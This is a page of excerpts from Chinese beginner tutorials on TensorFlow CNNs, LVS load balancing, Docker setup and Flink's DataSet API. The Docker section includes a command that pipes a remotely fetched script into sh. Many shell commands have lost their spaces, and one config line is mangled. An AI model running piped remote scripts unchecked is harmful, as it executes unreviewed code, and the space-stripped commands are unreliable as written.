首页 文章 精选 留言 我的

精选列表

搜索[入门],共9384篇文章
优秀的个人博客,低调大师

Tensorflow CNN入门

一、概论 以图像识别来举例,比如我们让计算机如何识别一张猫的图片识别出猫呢? 老式的计算机视觉是如何做的呢? 比如OpenCV: 首先理解很多算法,比如如何检测线条(Edge Detection) 如何做形态学变化等 根据我们的知识, 经验, 脑洞来设计很多特征; 用这些特征去比对一张图像是不是猫。 这样做存在的问题呢? 每一种不同的物件,我们都得去设计特征。 这样的人工智能主要是人工,而不是只能。 老式的流程: 原始数据 ——> 人工特征提取 ——> 算法 ——> 结果 卷积要解决的问题就是自动的特征提取(Feature Extraction) 卷积神经网络: 原始数据 ——> 卷积网络 ——> 算法 ——> 结果 #其中 卷积网络 + 算法 称为 深度学习

优秀的个人博客,低调大师

lvs简单入门

只解决c10k问题是不够的,单台主机的处理能力是有限的,一台主机同时处理500个动态网页请求已经是极限了。这里有两种方法提升处理性能,一,定制高性能的计算机,众所周知计算机硬件设计成本极其高,性能每提高10%成本就要增加一倍,这也是intel被称为挤牙膏公司的原因,不是其研发能力不行而是计算机硬件性能提升的难度太大,这个方法貌似不可行。二,使用两台主机处理业务,这就会引来一个问题怎么把请求分发到两个主机,这里我们引入了负载均衡器。 # 目录 负载均衡 lvs工作方式和调度方法 ipvsadm的使用 lvs-nat lvs-dr 多端口绑定和持久连接 # 负载均衡 使用负载均衡有两个方法,一是采用商用负载均衡硬件的,这个方法是最好的方法,能上硬件一定不要使用软件,又是硬件同样的问题也是价格,只要是涉及到基础设施的服务一定要使用。一方面是硬件的稳定性,比软件好很多,虽然软件可维护性和拓展性比较好,但是对于一些金融公司,他们玩的就是公信力和大众信心,每个故障都是竞争对手拆台的理由,一旦故障硬件背锅,理赔。常用的硬件F5的Big-IP,Citrix的Netscaler,A10的A10 另一种是采用软件负载均衡,只要考虑成本使用负载均衡软件就对了,它的性能比硬件也不会差别太大,并且灵活。常用的有lvs,nginx,haproxy,ats。。。 在做负载均衡的时候,我们在7层模型的哪一层做负载均衡,ip层基于主机做负载均衡粒度太大可用性太差基本不使用,更低的层基本上没有价值了,tcp层的话我们就可以把不同服务的请求采取不同的方式负载均衡,应用层的话我们可以根据具体协议拆包分析后负载均衡,既然涉及到拆开数据包,那处理的数据量就会大大增加,那么对计算机性能要求也越高,性能就越差,并且负载均衡器的通用性也越差。 传输层:lvs,nginx:(stream),haproxy:(mode tcp) 应用层: http:nginx, httpd, haproxy(mode http) fastcgi:nginx, httpd mysql:mysql-proxy # lvs工作方式和调度方法 ### lvs的工作方式 有四种lvs-nat,lvs-dr,lvs-tun,lvs-fullnat lvs集群类型中的术语: vs:Virtual Server, Director, Dispatcher, Balancer rs:Real Server, upstream server, backend server CIP:Client IP, VIP: Virtual serve IP, RIP: Real server IP, DIP: Director IP * lvs-nat 它的工作机制类似iptables的dnat功能,但是它工作于input链上。一次请求过程如下图 当客户端向director发送数据,数据在input链上目的地址vip换为rip后,被转发到postrouting链上过滤后发送到real server,real server处理完后把数据发送到director,director把这个数据的源地址rip更改为vip,当然lvs-nat不仅仅是更改ip也可以更改端口,所以支持端口映射,由以上可以总结nat的特点,rip和dip必须在同一网络中,rs的网关需要指向dip,因为所以的数据必须经过director更改ip。 这种工作方式director很容成为网络瓶颈,因为所以的数据都要经过director,director网卡的吞吐量就代表整个网站的流量吞吐量,当今世界的慢慢走向5G,director是完全不能满足需求的,需要借助其它网络设备帮助director分担流量,这就引入了lvs-dr模型。 * lvs-dr 如图,lvs-dr也是在input链上更改数据,但是它更改的不是ip地址而是mac地址,它把目的mac地址vmac更改为rmac,这里就要求vip,rip,dip必须在广播域内,但是地址不一定要在一个网段,因为他们间的通信需要使用mac直接通信。realserver处理请求后直接把数据返回给客户端。 等等,不对啊!realserver是怎么给客户端发送数据包的,realserver服务器上只有rip怎么用vip给客户端通信,这里需要我们给realserver配置vip。但是有一个问题,在网络中多个主机拥有同一个ip会产生冲突的,我们的解决方案是只让一个主机发送arp广播并且响应arp请求,选谁毋庸置疑只能选择director。 控制arp广播arp-ignore,0广播,1不广播;控制响应arp-announce,0响应所有接口信息,1尽量只响应当前网卡的信息,2只响应当前网卡的信息 lvs-dr的使用方法有两种,一种是每个realserver都有与公网交互的公网ip,另一种是只有内网ip,之后演示。 * lvs-tun 它是在原本的报文外部继续封装一个ip头,有可能造成超级帧 * lvs-fullnat 它是把源ip和目的ip都更改,相当于director请求realserver,realserver响应回来数据再把两个ip地址更改,这样这个数据包就可以跨越路由通信了,nat本来就会造成director网络瓶颈,它的使用场景主要应用于请求数据量不大但后服务器数量很多的场景。 ### 调度方法 调用方法可以分为两类,一类是静态调度算法,一类是动态调用算法 * 静态算法 rr #以轮询的方法,把请求转发到后端的主机 wrr #加权轮询,把请求按照一定的比例转发后端主机 sh #源地址哈希,把源地址做hash运算后,把realserver也hash,每个realserver只处理自己hash和上一realserver的hash之间的源地址的请求如图 dh #目标地址哈希,这样realserver可以开启缓存了 * 动态算法 lc #最少连接,根据realserver的正在处理请求的数量进行调度,Overhead=activeconns*256+inactiveconns wlc #加权最少连接,Overhead=(activeconns*256+inactiveconns)/weight nq #在lc的基础上改进的,意思是不许有realserver主机空闲 sed #最短等等时间,Overhead=(activeconns+1)*256/weight lblc #动态的DH算法;基于地址的最小连接数调度(locality-based least-connection):将来自同一个目的地址的请求分配给同一台RS,此时这台服务器是尚未满负荷的。否则就将这个请求分配给连接数最小的RS,并以它作为下一次分配的首先考虑 lblcr #带复制功能的lblc # ipvsadm的使用 管理集群服务:增、改、删; 增、改: ipvsadm -A|E -t|u|f service-address [-s scheduler] [-p [timeout]] 删: ipvsadm -D -t|u|f service-address [-s scheduler]:指定集群的调度算法,默认为wlc service-address: -t|u|f: -t: TCP协议的端口,VIP:TCP_PORT -u: TCP协议的端口,VIP:UDP_PORT -f:firewall MARK,是一个数字; 管理集群上的RS:增、改、删; 增、改: ipvsadm -a|e -t|u|f service-address -r server-address [-g|i|m] [-w weight] 删: ipvsadm -d -t|u|f service-address -r server-address server-address: rip[:port] # lvs-nat nat实验拓扑图 这个使用我采用的是虚拟机,主机ip做cip,director的vip采用的桥接网络,dip和rip采用的是仅主机模式 realserver1执行的命令 yuminstallhttpd-y#安装httpd echors1>/var/www/html/index.html#提供网页文件 realserver2执行的命令 yuminstallhttpd-y echors2>/var/www/html/index.html director执行的命令 yuminstallipvsadm-y ipvsadm-A-t172.16.29.4:80-swrr ipvsadm-a-t172.16.29.4:80-r192.168.95.2-m-w1 ipvsadm-a-t172.16.29.4:80-r192.168.95.3-m-w2 # lvs-dr ### 都采用公网ip的方案 所有网卡都采用桥接 director执行的命令 ifconfigeno16777736:0172.16.29.4netmask255.255.255.255broadcast172.16.29.4up#若在directer和realserver在同一个网段里一定要使用这一行 ipvsadm-A-t172.16.29.4:80-swrr ipvsadm-a-t172.16.29.4:80-r172.16.29.10-g-w1 ipvsadm-a-t172.16.29.4:80-r172.16.29.20-g-w2 realserver执行的命令 echo1>/proc/sys/net/ipv4/conf/all/arp_ignore echo1>/proc/sys/net/ipv4/conf/lo/arp_ignore echo2>/proc/sys/net/ipv4/conf/lo/arp_announce echo2>/proc/sys/net/ipv4/conf/all/arp_announce ifconfiglo:0172.16.29.4netmask255.255.255.255broadcast172.16.29.4up routeadd-host172.16.29.4devlo:0 ### 只要一个公网ip的解决方案 全部接口采用的仅主机模式,并且每个主机只有一个网卡,每个网卡都先配置一个ip,后期再添加需要的ip director要执行的命令 ifconfigeno16777736:0192.168.95.20netmask255.255.255.0broadcast192.168.95.20 ipvsadm-A-t192.168.95.20:80-swrr ipvsadm-a-t192.168.95.20:80-r10.0.0.10-g-w2 ipvsadm-a-t192.168.95.20:80-r10.0.0.20-g-w2 realserver需要执行的命令 echo1>/proc/sys/net/ipv4/conf/all/arp_ignore echo1>/proc/sys/net/ipv4/conf/lo/arp_ignore echo2>/proc/sys/net/ipv4/conf/lo/arp_announce echo2>/proc/sys/net/ipv4/conf/all/arp_announce ifconfiglo:0192.168.95.20netmask255.255.255.255broadcast192.168.95.20up routeadd-host192.168.95.20devlo:0 routeadddefaultgw10.0.0.1 路由设备需要执行的命令 echo 1 > /pro/sys/net/ipv4/ip_forward #开启转发功能 # 多端口绑定和持久连接 ### FWM:FireWall Mark 借助于防火墙标记来分类报文,而后基于标记定义集群服务;可将多个不同的应用使用同一个集群服务进行调度; 打标记方法(在Director主机): # iptables -t mangle -A PREROUTING -d $vip -p $proto --dport $port -j MARK --set-mark NUMBER 基于标记定义集群服务: # ipvsadm -A -f NUMBER [options] ### lvs persistence:持久连接 持久连接模板:实现无论使用任何算法,在一段时间内,实现将来自同一个地址的请求始终发往同一个RS; ipvsadm -A|E -t|u|f service-address [-s scheduler] [-p [timeout]] port Affinity: 每端口持久:每集群服务单独定义,并定义其持久性; 每防火墙标记持久:基于防火墙标记定义持久的集群服务;可实现将多个端口上的应用统一调度,即所谓的port Affinity; 每客户端持久:基于0端口定义集群服务,即将客户端对所有应用的请求统统调度至后端主机,而且可使用持久连接进行绑定; # 总结 lvs是负载均衡器中最基本的,理解了它的原理和使用方法,基本上掌握了大多数的负载均衡器的原理。其中dr模型是必须掌握的,真正使用的话我感觉会使用dr,net的功能很有可能被7层代理的服务器替代了。多端口绑定功能也很常用比如80和443端口绑定统一调度;持久连接虽然破坏调度效果,但是在没有session缓存服务器的话还是很高效的。

优秀的个人博客,低调大师

Docker入门简介

Docker的概念 什么是Docker? Docker是一个开源平台,包含:容器引擎和Docker Hub注册服务器 Docker容器引擎:可以将开发者打包他们的应用和依赖包到一个可一直的容器中,然后将其发布到任何流行的Linux机器上。 Docker Hub 注册服务器:用户可以该注册服务器上创建自己的镜像库来存储、管理和分享镜像。利用Docker,可以实现软件一次配置,处处运行 RedHat从RHEL6.5开始集成对Docker的支持。 容器与虚拟机 Docker是容器的一种,容器是一种轻量级的虚拟技术,重量级的则是虚拟机,例如VMware,VirtualBox等 容器与虚拟机的对比 容器 虚拟机 相同点 都可以在不同的主机之间迁移 都具备root权限 都可以远程控制 都有备份,回滚操作 操作系统 在性能上有优势,能够轻易的同时运行多个操作系统 可以安装任何操作系统,性能不急容器 优点 更为高效,集中。一个硬件节点可以运行数以百计的容器,非常节省资源。Qos会尽量满足,但不保证一定满足,内核由提供者升级,服务由服务器提供者管理 对操作系统具有绝对的权限,对系统版本和升级具有完全管理权限。具有一整套的资源:CPU,RAM和磁盘,QoS是具有保证的。每一个操作虚拟机像一个真实的物理机一样,可以实现不同的操作系统同时运行在同一个物理节点上。 资源管理 弹性的资源分配:资源可以在没有关闭容器的情况下添加,数据卷也无需重新分配大小(有些服务的容器需要重启) 虚拟机需要重启,虚拟机里的操作系统需要处理新加入的资源,例如添加一块磁盘,则需要重新分区等 远程管理 根据操作系统的不同,会通过shell或者远程桌面进行,前提是容器内的操作系统已经启动 远程控制由虚拟化平台提供,可以在虚拟机启动之前连接。所以可以安装系统 缺点 对内核没有控制权限,只有容器的提供者具备升级权限。只有一个内核运行在物理节点上,几乎不能实现不同的操作系统混合。容器提供者一般仅提供少数的几款操作系统 每一台虚拟机具有更大的负载,耗费更多的资源,用于需要全权维护和管理。一台物理机上能够运行的虚拟机也非常有限 配置 快速,秒级即可准备好,由容器提供者处理 配置时间长,从几分钟到几小时,具体取决于操作系统,需要自行安装操作系统 启动时间 秒级 分钟级 硬盘使用 MB GB 性能 接近原生态 若于原生态 系统支持量 单机支持上千个容器 一般不多于几十个 Docker的应用场景 Docker几种典型的应用场景 加速本地开发,通过Docker能够快速搭建好开发和运行环境,并且该环境可以直接传递给测试和产品部署 自动打包和部署应用 创建轻量、私有的PaaS环境 自动化测试和持续集成/部署 部署并扩展Web应用、数据库和后端服务器 创建安全沙盒子 轻量级桌面虚拟化 Docker的组件 Docker采用的是C/S架构 Docker客户端,即Docker可执行程序,可以通过命令和API的形式与Docker守护程序进行通信,Docker守护程序提供Docker服务 Docker包含三大核心组件:镜像、容器和库 镜像:一个只读的静态模板。保存着容器需要的环境和应用的执行代码,可以把镜像看成容器的代码。当代码运行起来后就成了容器。镜像采用分层机制,每个镜像都是只读的,但是可以将写数据的层通过联合文件系统附加在原有镜像之上,这种增量式修改使得镜像非常容易存储、传输和更新。 容器:是一个运行时环境,它是一个镜像的运行状态,相对于静态的镜像而言。容器是镜像执行时的动态表现。 库:Docker采用注册服务器来存储和共享用户的镜像,库是某个特定用户存储镜像的目录。 AUFS Docker利用AUFS来实现对容器的快速更新。 AUFS是一种支持将不同目录挂载到同一个虚拟文件系统下的文件系统,支持对每个目录的读写权限管理。另外,AUFS具有层的概念,每一次修改都是在已有的只写层进行增量修改,修改内容将形成新的文件层,而不影响原有层。 Docker的安装 安装环境: 内核版本 [root@docker ~]# uname -r 2.6.32-573.el6.x86_64 [root@docker ~]# 系统版本 [root@docker ~]# cat /etc/redhat-release CentOS release 6.7 (Final) [root@docker ~]# 注意:如果使用RedHat linux或者Centos linux ,需要时6.5以上的版本以及内核版本在2.6.32-431以上 安装EPEL的命令 rpm -Uvh http://mirror.math.princeton.edu/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm 安装Docker yum install docker-io –y 启动Docker后台 ./etc/init.d/docker start 确认Doocker安装成功 [root@docker ~]# docker info Containers: 0 Images: 0 Storage Driver: devicemapper Pool Name: docker-8:3-3016327-pool Pool Blocksize: 65.54 kB Backing Filesystem: extfs Data file: /dev/loop0 Metadata file: /dev/loop1 Data Space Used: 305.7 MB Data Space Total: 107.4 GB Data Space Available: 78.07 GB Metadata Space Used: 729.1 kB Metadata Space Total: 2.147 GB Metadata Space Available: 2.147 GB Udev Sync Supported: true Deferred Removal Enabled: false Data loop file: /var/lib/docker/devicemapper/devicemapper/data Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata Library Version: 1.02.95-RHEL6 (2015-04-15) Execution Driver: native-0.2 Logging Driver: json-file Kernel Version: 2.6.32-573.el6.x86_64 Operating System: <unknown> CPUs: 1 Total Memory: 1.826 GiB Name: docker ID: ZRF4:2E26:P3LZ:TK37:5HJG:5VP3:HUVQ:NSMR:J6BG:WMWO:YEDJ:MDGZ 所有的努力都值得期许,每一份梦想都应该灌溉!

优秀的个人博客,低调大师

docker快速入门

1、docker简介 docker通过内核虚拟化技术(namespace及cgroups等)来提供容器的资源隔离与安全保障等,由于docker通过操作系统层的虚拟化实现隔离,所以docker容器在运行时,不需要类似虚拟机额外的操作系统开销,提供资源利用率 2、docker vs kvm 3、docker组件 镜像、容器、仓库 4、docker安装 [root@docker~]#tee/etc/yum.repos.d/docker.repo<<-'EOF' [dockerrepo] name=DockerRepository baseurl=https://yum.dockerproject.org/repo/main/centos/7/ enabled=1 gpgcheck=1 gpgkey=https://yum.dockerproject.org/gpg EOF [root@docker~]#yuminstalldocker-engine-y 5、docker基础操作 [root@docker~]#systemctlenabledocker.service Createdsymlinkfrom/etc/systemd/system/multi-user.target.wants/docker.serviceto/usr/lib/systemd/system/docker.service. [root@docker~]#systemctlstartdocker.service [root@docker~]# [root@docker~]#dockerpullcentos#拉取镜像 [root@docker~]#dockerpulldaocloud.io/library/nginx 有时候拉取速度很慢,采用国内源加速 root@docker~]#vim/usr/lib/systemd/system/docker.service增加下面这行 EnvironmentFile=/etc/sysconfig/docker 新建配置文件[root@docker~]#vim/etc/sysconfig/docker 在https://dashboard.daocloud.io/注册,然后点击加速器生成加速链接 OPTIONS=--registry-mirror=curl-sSLhttps://get.daocloud.io/daotools/set_mirror.sh|sh-s [root@docker~]#dockersearchnginx#搜索镜像 [root@docker~]#dockerp_w_picpaths REPOSITORYTAGIMAGEIDCREATEDSIZE centoslatest0584b3d2cf6d2weeksago196.5MB 导出镜像 [root@docker~]#dockersave-onginx.tardaocloud.io/library/nginx [root@docker~]#dockersave-ocnetos.tarcentos 导入镜像 [root@docker~]#dockerload--inputcnetos.tar或者[root@docker~]#dockerload<cnetos.tar 删除镜像 [root@docker~]#dockerrmi0584b3d2cf6d(镜像ID) [root@docker~]#dockerruncentos/bin/echo"Helloworld" Helloworld [root@docker~]#dockerps-a CONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMES 5e381e68a385centos"/bin/echo'Hellowor"6secondsagoExited(0)5secondsagoclever_lamarr [root@docker~]#dockerrun--namemydocker-t-icentos/bin/bash [root@1a67f4c92b6e/]# [root@1a67f4c92b6e/]#ps-ef UIDPIDPPIDCSTIMETTYTIMECMD root10018:56?00:00:00/bin/bash root141018:56?00:00:00ps-ef [root@1a67f4c92b6e/]#exit exit [root@docker~]#dockerps-a CONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMES 1a67f4c92b6ecentos"/bin/bash"12minutesagoExited(0)6secondsagomydocker 5e381e68a385centos"/bin/echo'Hellowor"16minutesagoExited(0)16minutesagoclever_lamarr [root@docker~]#dockerrun--namedocker-demo-dcentos/bin/bash-d代表放入后台执行 6c5a777467b9552714f9cd3322e677750e2b8b5b0bd2d81e79094ad560828a5e [root@docker~]#dockerps-a CONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMES 6c5a777467b9centos"/bin/bash"11secondsagoExited(0)11secondsagodocker-demo 1a67f4c92b6ecentos"/bin/bash"17minutesagoExited(0)4minutesagomydocker 5e381e68a385centos"/bin/echo'Hellowor"21minutesagoExited(0)21minutesagoclever_lamarr [root@docker~]#dockerstopmydocker停止容器 [root@docker~]#dockerstart1a67f4c92b6e启动容器 [root@docker~]#dockerrun-d--namemynginxdaocloud.io/library/nginx 225a9b0459630c62dcf2199d6244b16a74ad9412471abf0be03755768df3ae63 [root@docker~]# [root@docker~]#dockerps CONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMES 225a9b045963daocloud.io/library/nginx"nginx-g'daemonoff"6secondsago Up5seconds80/tcp,443/tcpmynginx 进入容器脚步 [root@docker~]#catdocker_in.sh #!/bin/bash docker_in(){ NAME_ID=$1 PID=$(dockerinspect--format"{{.State.Pid}}"$NAME_ID) nsenter-t$PID-m-u-i-n-p } docker_in$1 6、docker网络 root@docker~]#dockerrun-d-P--namenginx-test1daocloud.io/library/nginx 9b1d36d40127fe2c84bbe7750802e435a817a15b4159b24fc49bfb1107a2cb74 [root@docker~]#dockerps-l CONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMES 9b1d36d40127daocloud.io/library/nginx"nginx-g'daemonoff"2minutesagoUp2minutes0.0.0.0:32769->80/tcp,0.0.0.0:32768->443/tcpnginx-test1 [root@docker~]#netstat-lntup|grep32768 tcp600:::32768:::*LISTEN11213/docker-proxy [root@docker~]#curl-Ihttp://172.16.80.132:32769 HTTP/1.1200OK Server:nginx/1.11.5 Date:Thu,24Nov201605:58:47GMT Content-Type:text/html Content-Length:612 Last-Modified:Tue,11Oct201615:03:01GMT Connection:keep-alive ETag:"57fcff25-264" Accept-Ranges:bytes 转换前 [root@docker~]#iptables-L-n ChainINPUT(policyACCEPT) targetprotoptsourcedestination ACCEPTall--0.0.0.0/00.0.0.0/0stateRELATED,ESTABLISHED ACCEPTicmp--0.0.0.0/00.0.0.0/0 ACCEPTall--0.0.0.0/00.0.0.0/0 ACCEPTtcp--0.0.0.0/00.0.0.0/0stateNEWtcpdpt:22 REJECTall--0.0.0.0/00.0.0.0/0reject-withicmp-host-prohibited ChainFORWARD(policyACCEPT) targetprotoptsourcedestination DOCKER-ISOLATIONall--0.0.0.0/00.0.0.0/0 DOCKERall--0.0.0.0/00.0.0.0/0 ACCEPTall--0.0.0.0/00.0.0.0/0ctstateRELATED,ESTABLISHED ACCEPTall--0.0.0.0/00.0.0.0/0 ACCEPTall--0.0.0.0/00.0.0.0/0 REJECTall--0.0.0.0/00.0.0.0/0reject-withicmp-host-prohibited ChainOUTPUT(policyACCEPT) targetprotoptsourcedestination ChainDOCKER(1references) targetprotoptsourcedestination ChainDOCKER-ISOLATION(1references) targetprotoptsourcedestination RETURNall--0.0.0.0/00.0.0.0/0 转换后 [root@docker~]#dockerrun-d-P--namenginx-test1daocloud.io/library/nginx 42783cf5053639383004f82b9e72fe0223c7c028d2754b2d0f74429824715f05 [root@docker~]#dockerps-l CONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMES 42783cf50536daocloud.io/library/nginx"nginx-g'daemonoff"9secondsagoUp7seconds0.0.0.0:32769->80/tcp,0.0.0.0:32768->443/tcpnginx-test1 [root@docker~]#iptables-L-n ChainINPUT(policyACCEPT) targetprotoptsourcedestination ACCEPTall--0.0.0.0/00.0.0.0/0stateRELATED,ESTABLISHED ACCEPTicmp--0.0.0.0/00.0.0.0/0 ACCEPTall--0.0.0.0/00.0.0.0/0 ACCEPTtcp--0.0.0.0/00.0.0.0/0stateNEWtcpdpt:22 REJECTall--0.0.0.0/00.0.0.0/0reject-withicmp-host-prohibited ChainFORWARD(policyACCEPT) targetprotoptsourcedestination DOCKER-ISOLATIONall--0.0.0.0/00.0.0.0/0 DOCKERall--0.0.0.0/00.0.0.0/0 ACCEPTall--0.0.0.0/00.0.0.0/0ctstateRELATED,ESTABLISHED ACCEPTall--0.0.0.0/00.0.0.0/0 ACCEPTall--0.0.0.0/00.0.0.0/0 REJECTall--0.0.0.0/00.0.0.0/0reject-withicmp-host-prohibited ChainOUTPUT(policyACCEPT) targetprotoptsourcedestination ChainDOCKER(1references) targetprotoptsourcedestination ACCEPTtcp--0.0.0.0/0172.17.0.2tcpdpt:443 ACCEPTtcp--0.0.0.0/0172.17.0.2tcpdpt:80 ChainDOCKER-ISOLATION(1references) targetprotoptsourcedestination RETURNall--0.0.0.0/00.0.0.0/0 [root@docker~]#shdocker_in.shnginx-test1 root@42783cf50536:/# root@42783cf50536:/# root@42783cf50536:/#ipaddr 1:lo:<LOOPBACK,UP,LOWER_UP>mtu65536qdiscnoqueuestateUNKNOWNgroupdefault link/loopback00:00:00:00:00:00brd00:00:00:00:00:00 inet127.0.0.1/8scopehostlo valid_lftforeverpreferred_lftforever inet6::1/128scopehost valid_lftforeverpreferred_lftforever 4:eth0:<BROADCAST,MULTICAST,UP,LOWER_UP>mtu1500qdiscnoqueuestateUPgroupdefault link/ether02:42:ac:11:00:02brdff:ff:ff:ff:ff:ff inet172.17.0.2/16scopeglobaleth0 valid_lftforeverpreferred_lftforever inet6fe80::42:acff:fe11:2/64scopelink valid_lftforeverpreferred_lftforever 7、docker数据存储 [root@docker~]#dockerrun-d--namenginx-volume-test1-v/datadaocloud.io/library/nginx 88b24d79a4f3b021325592ceac20e86291166d675b213d60db017548c4d9d960 [root@docker~]#shdocker_in.shnginx-volume-test1 root@88b24d79a4f3:/#cd/data/ root@88b24d79a4f3:/data#ls root@88b24d79a4f3:/data#touchhehe root@88b24d79a4f3:/data#ls-l total0 -rw-r--r--1rootroot0Nov2406:30hehe [root@docker~]#cd/var/lib/docker/ [root@dockerdocker]#ll total32 drwx------6rootroot4096Nov2414:28containers drwx------5rootroot4096Nov2402:05devicemapper drwx------3rootroot4096Nov2401:20p_w_picpath drwxr-x---3rootroot4096Nov2401:20network drwx------2rootroot4096Nov2401:20swarm drwx------2rootroot4096Nov2410:09tmp drwx------2rootroot4096Nov2401:20trust drwx------3rootroot4096Nov2414:28volumes [root@dockerdocker]#cdvolumes/ [root@dockervolumes]#ls 4c60775f938a840e5484aee9088bc612977c25a01f5bd164690d94c962e66e60metadata.db [root@dockervolumes]#cd4c60775f938a840e5484aee9088bc612977c25a01f5bd164690d94c962e66e60/ [root@docker4c60775f938a840e5484aee9088bc612977c25a01f5bd164690d94c962e66e60]#ls _data [root@docker4c60775f938a840e5484aee9088bc612977c25a01f5bd164690d94c962e66e60]#cd_data/容器内的文件实际在物理机上面的的保存目录 [root@docker_data]#ls hehe [root@docker~]#dockerrun-d--namenginx-volume-test2-v/data/mysql:/mysqldaocloud.io/library/nginx f7278ce9bd88c26a0c5aaefcb2b39f1f9df0066bc94edb7a530213815e166f5e #-v/data/mysql:/mysql表示把物理机的/data/mysql目录挂载到容器内的/mysql目录下面 [root@docker~]#dockerrun-d--namenginx-volumes-v/data/mysql:/mysqldaocloud.io/library/nginx 28c616e44352fc4eafeb2f87dbbb7b6eb9df447235afe027034efa96df1c5071 [root@docker~]# [root@docker~]#dockerrun-d--nameweb-node1--volumes-fromnginx-volumesdaocloud.io/library/nginx 0f022ce56e8b800cb1a4ac76bb8a326d42e198093146e8661ad3ac8925ad317d [root@docker~]# [root@docker~]#dockerrun-d--nameweb-node2--volumes-fromnginx-volumesdaocloud.io/library/nginx 03d5e88c15f6604eeee2b8af500b8f356ba69adc34710f3c19b813530f19dc3d

优秀的个人博客,低调大师

Flink从入门到放弃(入门篇3)-DataSetAPI

首先我们来看一下编程结构: 编程结构 public class SocketTextStreamWordCount { public static void main(String[] args) throws Exception { if (args.length != 2){ System.err.println("USAGE:\nSocketTextStreamWordCount <hostname> <port>"); return; } String hostName = args[0]; Integer port = Integer.parseInt(args[1]); final StreamExecutionEnvironment env = StreamExecutionEnvironment .getExecutionEnvironment(); DataStream<String> text = env.socketTextStream(hostName, port); DataStream<Tuple2<String, Integer>> counts text.flatMap(new LineSplitter()) .keyBy(0) .sum(1); counts.print(); env.execute("Java WordCount from SocketTextStream Example"); } 上面的SocketTextStreamWordCount是一个典型的Flink程序,他由一下及格部分构成: 获得一个execution environment, 加载/创建初始数据, 指定此数据的转换, 指定放置计算结果的位置, 触发程序执行 DataSet API 分类: Source: 数据源创建初始数据集,例如来自文件或Java集合 Transformation: 数据转换将一个或多个DataSet转换为新的DataSet Sink: 将计算结果存储或返回 DataSet Sources 基于文件的 readTextFile(path)/ TextInputFormat- 按行读取文件并将其作为字符串返回。 readTextFileWithValue(path)/ TextValueInputFormat- 按行读取文件并将它们作为StringValues返回。StringValues是可变字符串。 readCsvFile(path)/ CsvInputFormat- 解析逗号(或其他字符)分隔字段的文件。返回元组或POJO的DataSet。支持基本java类型及其Value对应作为字段类型。 readFileOfPrimitives(path, Class)/ PrimitiveInputFormat- 解析新行(或其他字符序列)分隔的原始数据类型(如String或)的文件Integer。 readFileOfPrimitives(path, delimiter, Class)/ PrimitiveInputFormat- 解析新行(或其他字符序列)分隔的原始数据类型的文件,例如String或Integer使用给定的分隔符。 readSequenceFile(Key, Value, path)/ SequenceFileInputFormat- 创建一个JobConf并从类型为SequenceFileInputFormat,Key class和Value类的指定路径中读取文件,并将它们作为Tuple2 返回。 基于集合 fromCollection(Collection) - 从Java Java.util.Collection创建数据集。集合中的所有数据元必须属于同一类型。 fromCollection(Iterator, Class) - 从迭代器创建数据集。该类指定迭代器返回的数据元的数据类型。 fromElements(T ...) - 根据给定的对象序列创建数据集。所有对象必须属于同一类型。 fromParallelCollection(SplittableIterator, Class) - 并行地从迭代器创建数据集。该类指定迭代器返回的数据元的数据类型。 generateSequence(from, to) - 并行生成给定间隔中的数字序列。 通用方法 readFile(inputFormat, path)/ FileInputFormat- 接受文件输入格式。 createInput(inputFormat)/ InputFormat- 接受通用输入格式。 代码示例 ExecutionEnvironment env = ExecutionEnvironment.getExecutionEnvironment(); // 从本地文件系统读 DataSet<String> localLines = env.readTextFile("file:///path/to/my/textfile"); // 读取HDFS文件 DataSet<String> hdfsLines = env.readTextFile("hdfs://nnHost:nnPort/path/to/my/textfile"); // 读取CSV文件 DataSet<Tuple3<Integer, String, Double>> csvInput = env.readCsvFile("hdfs:///the/CSV/file").types(Integer.class, String.class, Double.class); // 读取CSV文件中的部分 DataSet<Tuple2<String, Double>> csvInput = env.readCsvFile("hdfs:///the/CSV/file").includeFields("10010").types(String.class, Double.class); // 读取CSV映射为一个java类 DataSet<Person>> csvInput = env.readCsvFile("hdfs:///the/CSV/file").pojoType(Person.class, "name", "age", "zipcode"); // 读取一个指定位置序列化好的文件 DataSet<Tuple2<IntWritable, Text>> tuples = env.readSequenceFile(IntWritable.class, Text.class, "hdfs://nnHost:nnPort/path/to/file"); // 从输入字符创建 DataSet<String> value = env.fromElements("Foo", "bar", "foobar", "fubar"); // 创建一个数字序列 DataSet<Long> numbers = env.generateSequence(1, 10000000); // 从关系型数据库读取 DataSet<Tuple2<String, Integer> dbData = env.createInput(JDBCInputFormat.buildJDBCInputFormat() .setDrivername("org.apache.derby.jdbc.EmbeddedDriver") .setDBUrl("jdbc:derby:memory:persons") .setQuery("select name, age from persons") .setRowTypeInfo(new RowTypeInfo(BasicTypeInfo.STRING_TYPE_INFO, BasicTypeInfo.INT_TYPE_INFO)) .finish()); DataSet Transformation 详细可以参考官网:https://flink.sojb.cn/dev/batch/dataset_transformations.html#filter Map 采用一个数据元并生成一个数据元。 data.map(new MapFunction<String, Integer>() { public Integer map(String value) { return Integer.parseInt(value); } }); FlatMap 采用一个数据元并生成零个,一个或多个数据元。 data.flatMap(new FlatMapFunction<String, String>() { public void flatMap(String value, Collector<String> out) { for (String s : value.split(" ")) { out.collect(s); } } }); MapPartition 在单个函数调用中转换并行分区。该函数将分区作为Iterable流来获取,并且可以生成任意数量的结果值。每个分区中的数据元数量取决于并行度和先前的 算子操作。 data.mapPartition(new MapPartitionFunction<String, Long>() { public void mapPartition(Iterable<String> values, Collector<Long> out) { long c = 0; for (String s : values) { c++; } out.collect(c); } }); Filter 计算每个数据元的布尔函数,并保存函数返回true的数据元。重要信息:系统假定该函数不会修改应用谓词的数据元。违反此假设可能会导致错误的结果。 data.filter(new FilterFunction<Integer>() { public boolean filter(Integer value) { return value > 1000; } }); Reduce 通过将两个数据元重复组合成一个数据元,将一组数据元组合成一个数据元。Reduce可以应用于完整数据集或分组数据集。 data.reduce(new ReduceFunction<Integer> { public Integer reduce(Integer a, Integer b) { return a + b; } }); 如果将reduce应用于分组数据集,则可以通过提供CombineHintto 来指定运行时执行reduce的组合阶段的方式 